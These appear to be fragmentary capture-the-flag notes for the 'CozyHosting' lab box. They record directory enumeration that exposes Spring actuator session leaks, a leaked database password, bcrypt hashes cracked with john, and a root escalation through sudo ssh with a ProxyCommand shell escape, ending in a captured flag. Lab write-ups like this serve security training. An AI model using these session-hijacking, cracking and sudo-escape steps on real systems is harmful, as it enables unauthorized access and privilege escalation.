CozyHostings (Easy)
kali@kali ~/Downloads> dirsearch -u http://cozyhosting.htb
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/cozyhosting.htb/_23-11-13_08-19-45.txt
Error Log: /home/kali/.dirsearch/logs/errors-23-11-13_08-19-45.log
Target: http://cozyhosting.htb/
[08:19:45] Starting:
[08:19:58] 200 - 0B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[08:20:02] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[08:20:03] 400 - 435B - /a%5c.aspx
[08:20:04] 200 - 634B - /actuator <------- ???
[08:20:04] 200 - 5KB - /actuator/env
[08:20:04] 200 - 15B - /actuator/health
[08:20:04] 200 - 10KB - /actuator/mappings
[08:20:04] 200 - 48B - /actuator/sessions <------- important
[08:20:05] 200 - 124KB - /actuator/beans
[08:20:05] 401 - 97B - /admin
[08:20:31] 200 - 0B - /engine/classes/swfupload//swfupload_f9.swf
[08:20:31] 200 - 0B - /engine/classes/swfupload//swfupload.swf
[08:20:31] 500 - 73B - /error
[08:20:31] 200 - 0B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[08:20:32] 200 - 0B - /extjs/resources//charts.swf
[08:20:35] 200 - 0B - /html/js/misc/swfupload//swfupload.swf
[08:20:37] 200 - 12KB - /index
[08:20:41] 200 - 4KB - /login
[08:20:41] 200 - 0B - /login.wdm%2e
[08:20:41] 204 - 0B - /logout
[08:20:58] 400 - 435B - /servlet/%C0%AE%C0%AE%C0%AF
Task Completed

8A3FDBAC3DDACD0D874FB21A90F6C97E "UNAUTHORIZED"
4698EE878C1E6C1A70CA778CD271C271 "kanderson"



cloudjar file
in cloud/BOOT-INF/classes/application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
SELECT * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
kali@kali ~ [255]> john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
root
josh@cozyhosting:~$ find / -perm -4000 -type f -ls 2>/dev/null
144228 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1
132306 332 -rwsr-xr-x 1 root root 338536 Jul 19 19:41 /usr/lib/openssh/ssh-keysign
131974 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
131132 72 -rwsr-xr-x 1 root root 72712 Nov 24 2022 /usr/bin/chfn
131138 44 -rwsr-xr-x 1 root root 44808 Nov 24 2022 /usr/bin/chsh
134493 228 -rwsr-xr-x 1 root root 232416 Apr 3 2023 /usr/bin/sudo
131246 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
131407 40 -rwsr-xr-x 1 root root 40496 Nov 24 2022 /usr/bin/newgrp
131441 60 -rwsr-xr-x 1 root root 59976 Nov 24 2022 /usr/bin/passwd
131262 72 -rwsr-xr-x 1 root root 72072 Nov 24 2022 /usr/bin/gpasswd
131676 56 -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su
131752 36 -rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
131463 32 -rwsr-xr-x 1 root root 30872 Feb 26 2022 /usr/bin/pkexec
131395 48 -rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
adcaa077fc131174635d35f15fc1fe33
Last updated